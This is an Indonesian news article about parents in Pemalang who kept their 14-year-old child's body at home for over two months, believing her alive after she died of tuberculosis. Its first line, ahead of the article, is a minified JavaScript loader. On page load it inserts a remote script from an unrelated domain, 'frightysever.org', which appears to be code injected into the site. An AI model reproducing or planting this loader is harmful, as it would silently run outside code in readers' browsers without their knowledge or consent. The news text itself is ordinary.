(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA +62

Dua Bulan Sudah Meninggal Dunia, Bocah Disimpan Orangtuanya


KANALKALIMANTAN.COM – Orangtua di Desa Plakaran, Kecamatan Moga, Kabupaten Pemalang, menyimpan jenazah anaknya yang sudah dua bulan lebih meninggal karena diyakini masih hidup. Petugas Puskesmas mengungkapkan kondisi jenazah tersebut.

Kepala Puskesmas Moga Sugiarto mengatakan, ‎petugas Puskesmas mendatangi rumah orangtua SA, bocah yang jenazahnya disimpan kendati sudah meninggal pada Minggu (9/1/2022) bersama petugas dari Polsek Moga untuk melakukan pemeriksaan medis.

“Saat diperiksa, kondisi jenazah sudah mengkerut dan bau,” kata Sugiarto kepada Suara.com -jaringan Kanalkalimantan.com-, Rabu (12/1/2022).

Menurut Sugiarto, jenazah SA dibaringkan orangtuanya di sebuah kamar. Jenazah itu mengenakan pakaian dan kerudung.

 

 

Baca juga: Kapolres Kotabaru Olahraga Bareng Awak Jurnalis

“Jenazah ditutupi selimut sampai dada. Tidak ada ‎semacam pengawet di jenazahnya. Hanya kondisi kamar itu memang selalu dibersihkan, jadi kondisinya bersih,” ujarnya.

Sugiarto mengungkapkan, hasil anamesis yang dilakukan petugas, SA memiliki riwayat penyakit TBC sejak Januari 2021. Penyakit yang diderita itu diketahui dari hasil pemeriksaan di Rumah Sakit (RS) Islam Moga.

“Di RS Islam Moga sudah dilakukan rontgen. Dinyatakan sakit TBC dan diminta kontrol ke Puskesmas selama enam bulan, tapi baru dilakukan satu bulan sudah berhenti,” ungkapnya.

Menurut Sugiarto, keterangan orangtua SA juga menyebut anaknya sudah sejak tiga bulan yang lalu sudah tidak mau makan. Kondisinya juga tak bergerak sama sekali.

Baca juga: Mirip Polisi Bingungkan Masyarakat, Seragam Satpam Akan Diubah Kembali

“Jadi perkiraannnya, kemungkinan sudah sekitar tiga bulan itu sudah meninggal. ‎Untuk memastikannya, termasuk penyebab meninggalnya perlu otopsi,” ujarnya.

‎Disinggung terkait bau jenazah yang tidak tercium oleh tetangganya hingga tidak ada yang mengetahui, Sugiarto menengarai karena kondisi rumah-rumah warga yang jaraknya berjauhan.

“Daerah tersebut juga berada di pegunungan, kondisi cuacanya dingin,” kata dia.

Sebelumnya diberitakan, ‎warga Dusun Sokatata, Desa Plakaran, Kecamatan Moga, Kabupaten Pemalang membuat heboh karena menyimpan jenazah anaknya, SA yang sudah meninggal diduga selama dua bulan lebih. Bocah berusia 14 tahun itu tak kunjung dimakamkan karena diyakini masih hidup.

Kapolsek Moga AKP Dibyo Suryanto mengatakan, pihaknya awalnya mendapat laporan dari warga terkait adanya seorang anak yang sudah meninggal, namun tak segera dimakamkan pada Minggu (9/1/2022).

Baca juga: Delapan Desa di Pengaron Tenggelam, Air Sentuh Atap Rumah, Warga Dievakuasi

“Begitu mendapat laporan, kita langsung mendatangi rumahnya bersama tokoh agama dan masyarakat,” kata Dibyo, Rabu (12/1/2022).

Menurut Dibyo, setelah dilakukan‎ pendekatan persuasif oleh pihaknya bersama tokoh agama dan tokoh masyarakat setempat, orangtua SA akhirnya mengizinkan untuk dilakukan pemeriksaan medis terhadap sang anak.

Dari pemeriksaan tim medis Puskesmas Banyumudal Moga, SA dipastikan sudah meninggal dunia karena menderita penyakit.

‎”SA meninggal karena penyakit TBC. Dia memang punya riwayat sakit TBC dan sudah pernah berobat ke Puskesmas‎,” ujarnya.

Informasi yang beredar SA diduga sudah meninggal selama lebih dari dua bulan dan selama kurun waktu disimpan orang tuanya di rumahnya. Terkait hal ini, Dibyo mengaku tak bisa memastikannya.

Baca juga: Dokter Bedah AS Lakukan Transplantasi Jantung Babi Pertama bagi Sejarah Kedokteran

“Dari tim medis yang bisa memastikan sudah berapa lama meninggalnya. Yang jelas dari keterangan orangtua, SA masih dianggap hidup sehingga tidak dimakamkan,” ujarnya.

Dibyo mengatakan, orangtua SA akhirnya bers‎edia anaknya dimakamkan pada Minggu (9/1/2022) malam kendati harus lebih dulu dilakukan pendekatan persuasif cukup lama.

“Ya sempat tidak mau, tapi akhirnya SA dimakamkan Minggu malam sekitar pukul 22.00 WIB‎. Dimakamkan di lahan belakang rumahnya sesuai keinginan orangtuanya,” ungkapnya. (Suara.com/F Firdaus)

Editor : kk


Risa

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

5 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

7 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

8 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

8 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

12 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

12 jam ago

This website uses cookies.